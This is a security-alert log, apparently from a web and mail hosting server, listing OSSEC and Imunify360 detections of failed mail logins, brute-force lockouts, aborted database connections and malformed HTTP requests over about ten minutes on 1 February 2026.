2026-02-01 06:41:16 dovecot_login authenticator failed for H=(nuWmy8vaO2) [178.16.54.22]:57458: 535 Incorrect authentication data (set_id=enquiry@essemgroup.net)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:41:39 dovecot_login authenticator failed for H=(6MGAjA) [178.16.52.139]:51774: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:41:02 dovecot_login authenticator failed for H=(a82UTau0P) [158.94.208.175]:62256: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:41:03 dovecot_login authenticator failed for H=(06ddfUoUDj) [158.94.208.215]:60494: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.100.107.238
country_id: 1831722
description:
2026-02-01 06:41:23 dovecot_login authenticator failed for H=(dynamic-ip-adsl.metfone.com.kh) [175.100.107.238]:35460: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 06:41:01 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales has been temporarily locked by Imunify PAM(158.94.208.215)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:41:18 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 06:42:18 dovecot_login authenticator failed for H=(XSV8vz) [185.36.81.54]:55977: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:42:39 dovecot_login authenticator failed for H=(aQxorFV) [158.94.208.175]:59179: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:42:13 dovecot_login authenticator failed for H=(ujgn0X) [178.16.52.139]:51536: 535 Incorrect authentication data (set_id=info)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.159.211.114
country_id: 3996063
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product.php?page=13 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 06:42:02 dovecot_login authenticator failed for H=(mTpdYKE) [178.16.54.22]:63547: 535 Incorrect authentication data (set_id=enquiry@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 35.203.117.99
country_id: 6251999
description:
2026-02-01 06:43:00 dovecot_login authenticator failed for H=99.117.203.35.bc.googleusercontent.com (10.162.0.2) [35.203.117.99]:62732: 535 Incorrect authentication data (set_id=zulkifli.abdul-mutalib@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:42:15 dovecot_login authenticator failed for H=(blh07RO7A) [158.94.208.215]:50727: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 06:43:34 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account enquiry@essemgroup.net has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:43:02 dovecot_login authenticator failed for H=(vnt8VC) [178.16.52.139]:62867: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 06:43:13 dovecot_login authenticator failed for H=(087Punfvz) [178.16.54.22]:60051: 535 Incorrect authentication data (set_id=enquiry@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:43:03 dovecot_login authenticator failed for H=(VoWznVn1) [158.94.208.215]:50299: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 06:43:49 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales has been temporarily locked by Imunify PAM(158.94.208.215)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:43:54 dovecot_login authenticator failed for H=(EzH5mFFY) [178.16.52.139]:64764: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.179.87.204
country_id: 1814991
description:
2026-02-01 06:43:28 dovecot_login authenticator failed for H=([220.179.87.204]) [220.179.87.204]:36694: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 35.203.117.99
country_id: 6251999
description:
2026-02-01 06:43:08 dovecot_login authenticator failed for H=99.117.203.35.bc.googleusercontent.com (10.162.0.2) [35.203.117.99]:63380: 535 Incorrect authentication data (set_id=zulkifli.abdul-mutalib@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 06:43:10 dovecot_login authenticator failed for H=(zytl2d) [185.36.81.54]:63372: 535 Incorrect authentication data (set_id=marylinkoh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:43:11 dovecot_login authenticator failed for H=(YEufBPmK) [158.94.208.175]:63911: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:43:49 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.173.2.182
country_id: 2017370
description:
2026-02-01 06:43:54 dovecot_login authenticator failed for H=([31.173.2.182]) [31.173.2.182]:45296: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.61.48.234
country_id: 1835841
description:
2026-02-01 06:44:26 dovecot_login authenticator failed for H=([125.61.36.27]) [125.61.48.234]:41722: 535 Incorrect authentication data (set_id=ysl@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 06:44:35 dovecot_login authenticator failed for H=(Oi28Pv) [185.36.81.54]:63546: 535 Incorrect authentication data (set_id=juliza)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.176.194
country_id: 1269750
description:
2026-02-01 06:44:37 dovecot_login authenticator failed for H=([182.95.176.194]) [182.95.176.194]:55572: 535 Incorrect authentication data (set_id=ysl)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 06:44:20 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account enquiry@essemgroup.net has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 64.89.163.159
country_id: 2635167
description:
2026-02-01  6:44:46 206489 [Warning] Aborted connection 206489 to db: 'unconnected' user: 'unauthenticated' host: '64.89.163.159' (This connection closed normally without authentication)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:44:27 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.107.36.18
country_id: 1269750
description:
2026-02-01 06:44:25 dovecot_login authenticator failed for H=([103.107.36.18]) [103.107.36.18]:55998: 535 Incorrect authentication data (set_id=support@manforce.net)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 06:44:13 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales has been temporarily locked by Imunify PAM(158.94.208.215)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 06:44:22 dovecot_login authenticator failed for H=(AbgqGCAh) [178.16.54.22]:56766: 535 Incorrect authentication data (set_id=enquiry@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:44:07 dovecot_login authenticator failed for H=(Xecz3hPg5z) [158.94.208.175]:51192: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:44:10 dovecot_login authenticator failed for H=(xTzVsAUE) [178.16.52.139]:52676: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:44:15 dovecot_login authenticator failed for H=(rCVAKf) [158.94.208.215]:64243: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:45:03 dovecot_login authenticator failed for H=(0klByd) [158.94.208.215]:55923: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:45:05 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 06:45:08 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account enquiry@essemgroup.net has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 06:45:10 dovecot_login authenticator failed for H=(yaX8zYh18) [178.16.54.22]:63712: 535 Incorrect authentication data (set_id=enquiry@essemgroup.net)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 06:45:25 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales has been temporarily locked by Imunify PAM(158.94.208.215)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:45:05 dovecot_login authenticator failed for H=(uP3IDwe) [158.94.208.175]:58888: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:45:07 dovecot_login authenticator failed for H=(7mT1MAjo) [178.16.52.139]:60325: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 06:45:23 dovecot_login authenticator failed for H=(6G3EbNa8WR) [185.36.81.54]:65203: 535 Incorrect authentication data (set_id=juliza)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:46:09 dovecot_login authenticator failed for H=(oPaGZnY4CF) [178.16.52.139]:50103: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 06:46:59 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@aire-fresh.com has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 06:46:28 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:56685: 535 Incorrect authentication data (set_id=test@acburn.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:46:07 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:46:15 dovecot_login authenticator failed for H=(tDVpZcMsI) [158.94.208.215]:53924: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 06:46:17 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account enquiry@essemgroup.net has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 06:46:19 dovecot_login authenticator failed for H=(R8m04H4) [178.16.54.22]:51459: 535 Incorrect authentication data (set_id=enquiry@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:46:04 dovecot_login authenticator failed for H=(V3iUKzEM) [158.94.208.175]:49933: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.166.162.78
country_id: 1814991
description:
2026-02-01 06:46:26 dovecot_login authenticator failed for H=([180.166.162.78]) [180.166.162.78]:61237: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 06:46:35 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:34788: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.139.124.120
country_id: 1835841
description:
2026-02-01 06:46:53 dovecot_login authenticator failed for H=([125.139.124.120]) [125.139.124.120]:52434: 535 Incorrect authentication data (set_id=support@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.37.13.66
country_id: 1814991
description:
2026-02-01 06:46:58 dovecot_login authenticator failed for H=([59.37.13.66]) [59.37.13.66]:41140: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 69.142.126.37
country_id: 6252001
description:
2026-02-01 06:46:07 dovecot_plain authenticator failed for H=c-69-142-126-37.hsd1.nj.comcast.net (poric) [69.142.126.37]:40648: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 8.243.166.66
country_id: 3686110
description:
2026-02-01 06:46:39 dovecot_login authenticator failed for H=([8.243.166.66]) [8.243.166.66]:4501: 535 Incorrect authentication data (set_id=support@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.104.50.190
country_id: 1562822
description:
2026-02-01 06:46:41 dovecot_login authenticator failed for H=(dynamic-ip-adsl.viettel.vn) [116.104.50.190]:39426: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 06:46:13 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales has been temporarily locked by Imunify PAM(158.94.208.215)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 06:46:31 dovecot_login authenticator failed for H=(jhWrw9r) [185.36.81.54]:61727: 535 Incorrect authentication data (set_id=marylinkoh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 06:47:04 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:55184: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.186.136.36
country_id: 1814991
description:
2026-02-01 06:47:07 dovecot_login authenticator failed for H=([61.186.136.36]) [61.186.136.36]:53968: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.72.59.106
country_id: 1835841
description:
2026-02-01 06:47:26 dovecot_login authenticator failed for H=([121.128.76.109]) [61.72.59.106]:36332: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:47:08 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 06:47:25 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales has been temporarily locked by Imunify PAM(158.94.208.215)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 06:47:05 dovecot_login authenticator failed for H=(da5hOLp) [178.16.54.22]:59175: 535 Incorrect authentication data (set_id=enquiry@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:47:10 dovecot_login authenticator failed for H=(7tqj5Pc5) [178.16.52.139]:56973: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 06:47:22 dovecot_login authenticator failed for H=(9Em7t3V) [185.36.81.54]:61343: 535 Incorrect authentication data (set_id=marylinkoh)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 64.89.163.159
country_id: 2635167
description:
2026-02-01  6:47:27 206563 [Warning] Aborted connection 206563 to db: 'unconnected' user: 'unauthenticated' host: '64.89.163.159' (This connection closed normally without authentication)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 06:47:31 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@aire-fresh.com has been locked for the attacker IP 158.94.208.175


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.167.211.97
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=738705 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:47:03 dovecot_login authenticator failed for H=(9eS1kti0V) [158.94.208.215]:56192: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:47:53 dovecot_login authenticator failed for H=(K9xLmDtrZ) [178.16.52.139]:50258: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 06:47:03 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account enquiry@essemgroup.net has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:47:18 dovecot_login authenticator failed for H=(abdTHkA) [158.94.208.175]:58468: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 06:48:13 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales has been temporarily locked by Imunify PAM(158.94.208.215)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 06:48:27 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@aire-fresh.com has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 06:48:30 dovecot_login authenticator failed for H=(2E7eJGyH) [185.36.81.54]:63492: 535 Incorrect authentication data (set_id=marylinkoh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 124.227.193.21
country_id: 1814991
description:
2026-02-01 06:48:21 dovecot_login authenticator failed for H=([124.227.193.21]) [124.227.193.21]:50389: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.146.24.164
country_id: 2017370
description:
2026-02-01 06:48:32 dovecot_login authenticator failed for H=([91.146.24.164]) [91.146.24.164]:59346: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.28.251.169
country_id: 690791
description:
2026-02-01 06:49:00 dovecot_login authenticator failed for H=(undefined.sevstar.net) [31.28.251.169]:52036: 535 Incorrect authentication data (set_id=zainuddin@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:48:15 dovecot_login authenticator failed for H=(K7Zwdot25) [158.94.208.215]:53388: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 06:48:17 dovecot_login authenticator failed for H=(2YYwyo) [178.16.54.22]:60012: 535 Incorrect authentication data (set_id=enquiry@essemgroup.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 200.46.55.17
country_id: 3703430
domain: kendek.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/kendek.com/product-detail.php?id=455575 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:48:21 dovecot_login authenticator failed for H=(UL4f1JyUSM) [158.94.208.175]:61337: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.141
country_id: 1880251
domain: kendek.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/kendek.com/style.css HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.155
country_id: 1880251
domain: kendek.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/kendek.com/assets/fonts/Flaticon.woff2 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.229.87
country_id: 1269750
description:
2026-02-01 06:48:42 dovecot_login authenticator failed for H=(nsg-corporate-87.229.187.122.airtel.in) [122.187.229.87]:51690: 535 Incorrect authentication data (set_id=info@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 06:48:07 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:52398: 535 Incorrect authentication data (set_id=test@sv3.nocser.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:48:13 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:48:15 dovecot_login authenticator failed for H=(ALjqdqH8k) [178.16.52.139]:51060: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 06:49:03 dovecot_login authenticator failed for H=(S0lyIItTZ) [178.16.54.22]:51205: 535 Incorrect authentication data (set_id=enquiry@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:49:03 dovecot_login authenticator failed for H=(DJ6xjpgaCU) [158.94.208.215]:59574: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:49:13 dovecot_login authenticator failed for H=(5WR7nhHZ) [178.16.52.139]:59305: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.56.194.254
country_id: 1522867
description:
2026-02-01 06:49:14 dovecot_login authenticator failed for H=95.56.194.254.dynamic.telecom.kz [95.56.194.254]:40355: 535 Incorrect authentication data (set_id=zainuddin)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 06:49:21 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@aire-fresh.com has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:49:23 dovecot_login authenticator failed for H=(K4oXX8) [158.94.208.175]:59067: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.212.225.99
country_id: 1835841
description:
2026-02-01 06:49:48 dovecot_login authenticator failed for H=([1.212.225.99]) [1.212.225.99]:37568: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 06:50:07 dovecot_login authenticator failed for H=(Hgkxmz8) [185.36.81.54]:51894: 535 Incorrect authentication data (set_id=marylinkoh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 219.128.15.190
country_id: 1814991
description:
2026-02-01 06:50:15 dovecot_login authenticator failed for H=([219.128.15.190]) [219.128.15.190]:50629: 535 Incorrect authentication data (set_id=aziz)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.108.215.35
country_id: 3378535
description:
2026-02-01 06:50:46 dovecot_plain authenticator failed for H=35.215.108.190-cust.enetworksgy.com (5D07V5) [190.108.215.35]:50136: 535 Incorrect authentication data (set_id=jessieteoh@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 06:50:34 dovecot_login authenticator failed for H=(FwpFBUc7) [178.16.54.22]:53582: 535 Incorrect authentication data (set_id=enquiry@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 06:50:20 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:43524: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.24.81.89
country_id: 1814991
description:
2026-02-01 06:50:36 dovecot_login authenticator failed for H=([218.17.113.148]) [116.24.81.89]:45860: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.180.129.87
country_id: 1668284
description:
2026-02-01 06:50:06 dovecot_login authenticator failed for H=([175.180.129.87]) [175.180.129.87]:49416: 535 Incorrect authentication data (set_id=admin@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:50:15 dovecot_login authenticator failed for H=(VlGCnrUnq) [158.94.208.215]:63977: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 06:50:20 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@aire-fresh.com has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.42.113.10
country_id: 1814991
description:
2026-02-01 06:50:03 dovecot_login authenticator failed for H=([182.42.113.10]) [182.42.113.10]:40634: 535 Incorrect authentication data (set_id=aziz@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.93.6.230
country_id: 1814991
description:
2026-02-01 06:50:36 dovecot_login authenticator failed for H=([211.93.6.230]) [211.93.6.230]:65430: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 11302
